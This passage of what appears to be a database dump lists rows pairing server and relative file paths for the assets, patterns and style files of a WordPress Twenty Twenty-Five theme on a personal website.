(1049,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/vollkorn/Vollkorn-VariableFont_wght.woff2','wp-content/themes/twentytwentyfive/assets/fonts/vollkorn/Vollkorn-VariableFont_wght.woff2'),
(1050,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/ysabeau-office/YsabeauOffice-Italic-VariableFont_wght.woff2','wp-content/themes/twentytwentyfive/assets/fonts/ysabeau-office/YsabeauOffice-Italic-VariableFont_wght.woff2'),
(1051,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/ysabeau-office/YsabeauOffice-VariableFont_wght.woff2','wp-content/themes/twentytwentyfive/assets/fonts/ysabeau-office/YsabeauOffice-VariableFont_wght.woff2'),
(1052,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/404-image.webp','wp-content/themes/twentytwentyfive/assets/images/404-image.webp'),
(1053,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/agenda-img-4.webp','wp-content/themes/twentytwentyfive/assets/images/agenda-img-4.webp'),
(1054,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/akaka-falls-state-park-flora.webp','wp-content/themes/twentytwentyfive/assets/images/akaka-falls-state-park-flora.webp'),
(1055,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/book-image-landing.webp','wp-content/themes/twentytwentyfive/assets/images/book-image-landing.webp'),
(1056,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/book-image.webp','wp-content/themes/twentytwentyfive/assets/images/book-image.webp'),
(1057,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/botany-flowers-closeup.webp','wp-content/themes/twentytwentyfive/assets/images/botany-flowers-closeup.webp'),
(1058,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/botany-flowers.webp','wp-content/themes/twentytwentyfive/assets/images/botany-flowers.webp'),
(1059,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/campanula-alliariifolia-flower.webp','wp-content/themes/twentytwentyfive/assets/images/campanula-alliariifolia-flower.webp'),
(1060,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/category-anthuriums.webp','wp-content/themes/twentytwentyfive/assets/images/category-anthuriums.webp'),
(1061,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/category-cactus.webp','wp-content/themes/twentytwentyfive/assets/images/category-cactus.webp'),
(1062,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/category-sunflowers.webp','wp-content/themes/twentytwentyfive/assets/images/category-sunflowers.webp'),
(1063,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/coming-soon-bg-image.webp','wp-content/themes/twentytwentyfive/assets/images/coming-soon-bg-image.webp'),
(1064,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/coral-square.webp','wp-content/themes/twentytwentyfive/assets/images/coral-square.webp'),
(1065,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/dallas-creek-square.webp','wp-content/themes/twentytwentyfive/assets/images/dallas-creek-square.webp'),
(1066,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/delphinium-flowers.webp','wp-content/themes/twentytwentyfive/assets/images/delphinium-flowers.webp'),
(1067,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/flower-meadow-square.webp','wp-content/themes/twentytwentyfive/assets/images/flower-meadow-square.webp'),
(1068,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/grid-flower-1.webp','wp-content/themes/twentytwentyfive/assets/images/grid-flower-1.webp'),
(1069,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/grid-flower-2.webp','wp-content/themes/twentytwentyfive/assets/images/grid-flower-2.webp'),
(1070,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/hero-podcast.webp','wp-content/themes/twentytwentyfive/assets/images/hero-podcast.webp'),
(1071,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/link-in-bio-background.webp','wp-content/themes/twentytwentyfive/assets/images/link-in-bio-background.webp'),
(1072,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/link-in-bio-image.webp','wp-content/themes/twentytwentyfive/assets/images/link-in-bio-image.webp'),
(1073,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/location.webp','wp-content/themes/twentytwentyfive/assets/images/location.webp'),
(1074,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/malibu-plantlife.webp','wp-content/themes/twentytwentyfive/assets/images/malibu-plantlife.webp'),
(1075,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/man-in-hat.webp','wp-content/themes/twentytwentyfive/assets/images/man-in-hat.webp'),
(1076,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/marshland-birds-square.webp','wp-content/themes/twentytwentyfive/assets/images/marshland-birds-square.webp'),
(1077,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/northern-buttercups-flowers.webp','wp-content/themes/twentytwentyfive/assets/images/northern-buttercups-flowers.webp'),
(1078,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/nurse.webp','wp-content/themes/twentytwentyfive/assets/images/nurse.webp'),
(1079,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/parthenon-square.webp','wp-content/themes/twentytwentyfive/assets/images/parthenon-square.webp'),
(1080,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/poster-image-background.webp','wp-content/themes/twentytwentyfive/assets/images/poster-image-background.webp'),
(1081,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/red-hibiscus-closeup.webp','wp-content/themes/twentytwentyfive/assets/images/red-hibiscus-closeup.webp'),
(1082,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/ruins-image.webp','wp-content/themes/twentytwentyfive/assets/images/ruins-image.webp'),
(1083,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/services-subscriber-photo.webp','wp-content/themes/twentytwentyfive/assets/images/services-subscriber-photo.webp'),
(1084,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/star-thristle-flower.webp','wp-content/themes/twentytwentyfive/assets/images/star-thristle-flower.webp'),
(1085,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/typewriter.webp','wp-content/themes/twentytwentyfive/assets/images/typewriter.webp'),
(1086,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/vash-gon-square.webp','wp-content/themes/twentytwentyfive/assets/images/vash-gon-square.webp'),
(1087,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/woman-splashing-water.webp','wp-content/themes/twentytwentyfive/assets/images/woman-splashing-water.webp'),
(1088,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/contributing.txt','wp-content/themes/twentytwentyfive/contributing.txt'),
(1089,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/functions.php','wp-content/themes/twentytwentyfive/functions.php'),
(1090,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/package-lock.json','wp-content/themes/twentytwentyfive/package-lock.json'),
(1091,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/package.json','wp-content/themes/twentytwentyfive/package.json'),
(1092,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/parts/footer-columns.html','wp-content/themes/twentytwentyfive/parts/footer-columns.html'),
(1093,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/parts/footer-newsletter.html','wp-content/themes/twentytwentyfive/parts/footer-newsletter.html'),
(1094,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/parts/footer.html','wp-content/themes/twentytwentyfive/parts/footer.html'),
(1095,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/parts/header-large-title.html','wp-content/themes/twentytwentyfive/parts/header-large-title.html'),
(1096,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/parts/header.html','wp-content/themes/twentytwentyfive/parts/header.html'),
(1097,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/parts/sidebar.html','wp-content/themes/twentytwentyfive/parts/sidebar.html'),
(1098,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/parts/vertical-header.html','wp-content/themes/twentytwentyfive/parts/vertical-header.html'),
(1099,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/banner-about-book.php','wp-content/themes/twentytwentyfive/patterns/banner-about-book.php'),
(1100,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/banner-cover-big-heading.php','wp-content/themes/twentytwentyfive/patterns/banner-cover-big-heading.php'),
(1101,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/banner-intro-image.php','wp-content/themes/twentytwentyfive/patterns/banner-intro-image.php'),
(1102,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/banner-intro.php','wp-content/themes/twentytwentyfive/patterns/banner-intro.php'),
(1103,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/banner-poster.php','wp-content/themes/twentytwentyfive/patterns/banner-poster.php'),
(1104,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/banner-with-description-and-images-grid.php','wp-content/themes/twentytwentyfive/patterns/banner-with-description-and-images-grid.php'),
(1105,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/binding-format.php','wp-content/themes/twentytwentyfive/patterns/binding-format.php'),
(1106,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/comments.php','wp-content/themes/twentytwentyfive/patterns/comments.php'),
(1107,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/contact-centered-social-link.php','wp-content/themes/twentytwentyfive/patterns/contact-centered-social-link.php'),
(1108,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/contact-info-locations.php','wp-content/themes/twentytwentyfive/patterns/contact-info-locations.php'),
(1109,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/contact-location-and-link.php','wp-content/themes/twentytwentyfive/patterns/contact-location-and-link.php'),
(1110,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/cta-book-links.php','wp-content/themes/twentytwentyfive/patterns/cta-book-links.php'),
(1111,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/cta-book-locations.php','wp-content/themes/twentytwentyfive/patterns/cta-book-locations.php'),
(1112,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/cta-centered-heading.php','wp-content/themes/twentytwentyfive/patterns/cta-centered-heading.php'),
(1113,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/cta-events-list.php','wp-content/themes/twentytwentyfive/patterns/cta-events-list.php'),
(1114,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/cta-grid-products-link.php','wp-content/themes/twentytwentyfive/patterns/cta-grid-products-link.php'),
(1115,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/cta-heading-search.php','wp-content/themes/twentytwentyfive/patterns/cta-heading-search.php'),
(1116,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/cta-newsletter.php','wp-content/themes/twentytwentyfive/patterns/cta-newsletter.php'),
(1117,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/event-3-col.php','wp-content/themes/twentytwentyfive/patterns/event-3-col.php'),
(1118,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/event-rsvp.php','wp-content/themes/twentytwentyfive/patterns/event-rsvp.php'),
(1119,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/event-schedule.php','wp-content/themes/twentytwentyfive/patterns/event-schedule.php'),
(1120,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/footer-centered.php','wp-content/themes/twentytwentyfive/patterns/footer-centered.php'),
(1121,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/footer-columns.php','wp-content/themes/twentytwentyfive/patterns/footer-columns.php'),
(1122,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/footer-newsletter.php','wp-content/themes/twentytwentyfive/patterns/footer-newsletter.php'),
(1123,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/footer-social.php','wp-content/themes/twentytwentyfive/patterns/footer-social.php'),
(1124,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/footer.php','wp-content/themes/twentytwentyfive/patterns/footer.php'),
(1125,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/format-audio.php','wp-content/themes/twentytwentyfive/patterns/format-audio.php'),
(1126,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/format-link.php','wp-content/themes/twentytwentyfive/patterns/format-link.php'),
(1127,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/grid-videos.php','wp-content/themes/twentytwentyfive/patterns/grid-videos.php'),
(1128,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/grid-with-categories.php','wp-content/themes/twentytwentyfive/patterns/grid-with-categories.php'),
(1129,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/header-centered.php','wp-content/themes/twentytwentyfive/patterns/header-centered.php'),
(1130,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/header-columns.php','wp-content/themes/twentytwentyfive/patterns/header-columns.php'),
(1131,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/header-large-title.php','wp-content/themes/twentytwentyfive/patterns/header-large-title.php'),
(1132,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/header.php','wp-content/themes/twentytwentyfive/patterns/header.php'),
(1133,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/heading-and-paragraph-with-image.php','wp-content/themes/twentytwentyfive/patterns/heading-and-paragraph-with-image.php'),
(1134,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/hero-book.php','wp-content/themes/twentytwentyfive/patterns/hero-book.php'),
(1135,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/hero-full-width-image.php','wp-content/themes/twentytwentyfive/patterns/hero-full-width-image.php'),
(1136,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/hero-overlapped-book-cover-with-links.php','wp-content/themes/twentytwentyfive/patterns/hero-overlapped-book-cover-with-links.php'),
(1137,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/hero-podcast.php','wp-content/themes/twentytwentyfive/patterns/hero-podcast.php'),
(1138,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/hidden-404.php','wp-content/themes/twentytwentyfive/patterns/hidden-404.php'),
(1139,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/hidden-blog-heading.php','wp-content/themes/twentytwentyfive/patterns/hidden-blog-heading.php'),
(1140,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/hidden-search.php','wp-content/themes/twentytwentyfive/patterns/hidden-search.php'),
(1141,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/hidden-sidebar.php','wp-content/themes/twentytwentyfive/patterns/hidden-sidebar.php'),
(1142,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/hidden-written-by.php','wp-content/themes/twentytwentyfive/patterns/hidden-written-by.php'),
(1143,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/logos.php','wp-content/themes/twentytwentyfive/patterns/logos.php'),
(1144,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/media-instagram-grid.php','wp-content/themes/twentytwentyfive/patterns/media-instagram-grid.php'),
(1145,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/more-posts.php','wp-content/themes/twentytwentyfive/patterns/more-posts.php'),
(1146,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/overlapped-images.php','wp-content/themes/twentytwentyfive/patterns/overlapped-images.php'),
(1147,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/page-business-home.php','wp-content/themes/twentytwentyfive/patterns/page-business-home.php'),
(1148,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/page-coming-soon.php','wp-content/themes/twentytwentyfive/patterns/page-coming-soon.php'),
(1149,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/page-cv-bio.php','wp-content/themes/twentytwentyfive/patterns/page-cv-bio.php'),
(1150,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/page-landing-book.php','wp-content/themes/twentytwentyfive/patterns/page-landing-book.php'),
(1151,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/page-landing-event.php','wp-content/themes/twentytwentyfive/patterns/page-landing-event.php'),
(1152,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/page-landing-podcast.php','wp-content/themes/twentytwentyfive/patterns/page-landing-podcast.php'),
(1153,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/page-link-in-bio-heading-paragraph-links-image.php','wp-content/themes/twentytwentyfive/patterns/page-link-in-bio-heading-paragraph-links-image.php'),
(1154,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/page-link-in-bio-wide-margins.php','wp-content/themes/twentytwentyfive/patterns/page-link-in-bio-wide-margins.php'),
(1155,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/page-link-in-bio-with-tight-margins.php','wp-content/themes/twentytwentyfive/patterns/page-link-in-bio-with-tight-margins.php'),
(1156,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/page-portfolio-home.php','wp-content/themes/twentytwentyfive/patterns/page-portfolio-home.php'),
(1157,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/page-shop-home.php','wp-content/themes/twentytwentyfive/patterns/page-shop-home.php'),
(1158,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/post-navigation.php','wp-content/themes/twentytwentyfive/patterns/post-navigation.php'),
(1159,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/pricing-2-col.php','wp-content/themes/twentytwentyfive/patterns/pricing-2-col.php'),
(1160,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/pricing-3-col.php','wp-content/themes/twentytwentyfive/patterns/pricing-3-col.php'),
(1161,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/services-3-col.php','wp-content/themes/twentytwentyfive/patterns/services-3-col.php'),
(1162,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/services-subscriber-only-section.php','wp-content/themes/twentytwentyfive/patterns/services-subscriber-only-section.php'),
(1163,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/services-team-photos.php','wp-content/themes/twentytwentyfive/patterns/services-team-photos.php'),
(1164,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-404-vertical-header-blog.php','wp-content/themes/twentytwentyfive/patterns/template-404-vertical-header-blog.php'),
(1165,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-archive-news-blog.php','wp-content/themes/twentytwentyfive/patterns/template-archive-news-blog.php'),
(1166,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-archive-photo-blog.php','wp-content/themes/twentytwentyfive/patterns/template-archive-photo-blog.php'),
(1167,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-archive-text-blog.php','wp-content/themes/twentytwentyfive/patterns/template-archive-text-blog.php'),
(1168,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-archive-vertical-header-blog.php','wp-content/themes/twentytwentyfive/patterns/template-archive-vertical-header-blog.php'),
(1169,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-home-news-blog.php','wp-content/themes/twentytwentyfive/patterns/template-home-news-blog.php'),
(1170,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-home-photo-blog.php','wp-content/themes/twentytwentyfive/patterns/template-home-photo-blog.php'),
(1171,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-home-posts-grid-news-blog.php','wp-content/themes/twentytwentyfive/patterns/template-home-posts-grid-news-blog.php'),
(1172,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-home-text-blog.php','wp-content/themes/twentytwentyfive/patterns/template-home-text-blog.php'),
(1173,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-home-vertical-header-blog.php','wp-content/themes/twentytwentyfive/patterns/template-home-vertical-header-blog.php'),
(1174,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-home-with-sidebar-news-blog.php','wp-content/themes/twentytwentyfive/patterns/template-home-with-sidebar-news-blog.php'),
(1175,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-page-photo-blog.php','wp-content/themes/twentytwentyfive/patterns/template-page-photo-blog.php'),
(1176,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-page-vertical-header-blog.php','wp-content/themes/twentytwentyfive/patterns/template-page-vertical-header-blog.php'),
(1177,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-query-loop-news-blog.php','wp-content/themes/twentytwentyfive/patterns/template-query-loop-news-blog.php'),
(1178,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-query-loop-photo-blog.php','wp-content/themes/twentytwentyfive/patterns/template-query-loop-photo-blog.php'),
(1179,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-query-loop-text-blog.php','wp-content/themes/twentytwentyfive/patterns/template-query-loop-text-blog.php'),
(1180,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-query-loop-vertical-header-blog.php','wp-content/themes/twentytwentyfive/patterns/template-query-loop-vertical-header-blog.php'),
(1181,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-query-loop.php','wp-content/themes/twentytwentyfive/patterns/template-query-loop.php'),
(1182,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-search-news-blog.php','wp-content/themes/twentytwentyfive/patterns/template-search-news-blog.php'),
(1183,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-search-photo-blog.php','wp-content/themes/twentytwentyfive/patterns/template-search-photo-blog.php'),
(1184,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-search-text-blog.php','wp-content/themes/twentytwentyfive/patterns/template-search-text-blog.php'),
(1185,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-search-vertical-header-blog.php','wp-content/themes/twentytwentyfive/patterns/template-search-vertical-header-blog.php'),
(1186,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-single-left-aligned-content.php','wp-content/themes/twentytwentyfive/patterns/template-single-left-aligned-content.php'),
(1187,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-single-news-blog.php','wp-content/themes/twentytwentyfive/patterns/template-single-news-blog.php'),
(1188,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-single-offset.php','wp-content/themes/twentytwentyfive/patterns/template-single-offset.php'),
(1189,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-single-photo-blog.php','wp-content/themes/twentytwentyfive/patterns/template-single-photo-blog.php'),
(1190,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-single-text-blog.php','wp-content/themes/twentytwentyfive/patterns/template-single-text-blog.php'),
(1191,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-single-vertical-header-blog.php','wp-content/themes/twentytwentyfive/patterns/template-single-vertical-header-blog.php'),
(1192,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/testimonials-2-col.php','wp-content/themes/twentytwentyfive/patterns/testimonials-2-col.php'),
(1193,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/testimonials-6-col.php','wp-content/themes/twentytwentyfive/patterns/testimonials-6-col.php'),
(1194,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/testimonials-large.php','wp-content/themes/twentytwentyfive/patterns/testimonials-large.php'),
(1195,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/text-faqs.php','wp-content/themes/twentytwentyfive/patterns/text-faqs.php'),
(1196,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/vertical-header.php','wp-content/themes/twentytwentyfive/patterns/vertical-header.php'),
(1197,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/readme.txt','wp-content/themes/twentytwentyfive/readme.txt'),
(1198,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/screenshot.png','wp-content/themes/twentytwentyfive/screenshot.png'),
(1199,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/style.css','wp-content/themes/twentytwentyfive/style.css'),
(1200,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/style.min.css','wp-content/themes/twentytwentyfive/style.min.css'),
(1201,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/01-evening.json','wp-content/themes/twentytwentyfive/styles/01-evening.json'),
(1202,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/02-noon.json','wp-content/themes/twentytwentyfive/styles/02-noon.json'),
(1203,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/03-dusk.json','wp-content/themes/twentytwentyfive/styles/03-dusk.json'),
(1204,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/04-afternoon.json','wp-content/themes/twentytwentyfive/styles/04-afternoon.json'),
(1205,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/05-twilight.json','wp-content/themes/twentytwentyfive/styles/05-twilight.json'),
(1206,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/06-morning.json','wp-content/themes/twentytwentyfive/styles/06-morning.json'),
(1207,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/07-sunrise.json','wp-content/themes/twentytwentyfive/styles/07-sunrise.json'),
(1208,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/08-midnight.json','wp-content/themes/twentytwentyfive/styles/08-midnight.json'),
(1209,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/blocks/01-display.json','wp-content/themes/twentytwentyfive/styles/blocks/01-display.json'),
(1210,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/blocks/02-subtitle.json','wp-content/themes/twentytwentyfive/styles/blocks/02-subtitle.json'),
(1211,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/blocks/03-annotation.json','wp-content/themes/twentytwentyfive/styles/blocks/03-annotation.json'),
(1212,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/blocks/post-terms-1.json','wp-content/themes/twentytwentyfive/styles/blocks/post-terms-1.json'),
(1213,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/colors/01-evening.json','wp-content/themes/twentytwentyfive/styles/colors/01-evening.json'),
(1214,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/colors/02-noon.json','wp-content/themes/twentytwentyfive/styles/colors/02-noon.json'),
(1215,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/colors/03-dusk.json','wp-content/themes/twentytwentyfive/styles/colors/03-dusk.json'),
(1216,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/colors/04-afternoon.json','wp-content/themes/twentytwentyfive/styles/colors/04-afternoon.json'),
(1217,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/colors/05-twilight.json','wp-content/themes/twentytwentyfive/styles/colors/05-twilight.json'),
(1218,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/colors/06-morning.json','wp-content/themes/twentytwentyfive/styles/colors/06-morning.json'),
(1219,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/colors/07-sunrise.json','wp-content/themes/twentytwentyfive/styles/colors/07-sunrise.json'),
(1220,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/colors/08-midnight.json','wp-content/themes/twentytwentyfive/styles/colors/08-midnight.json'),
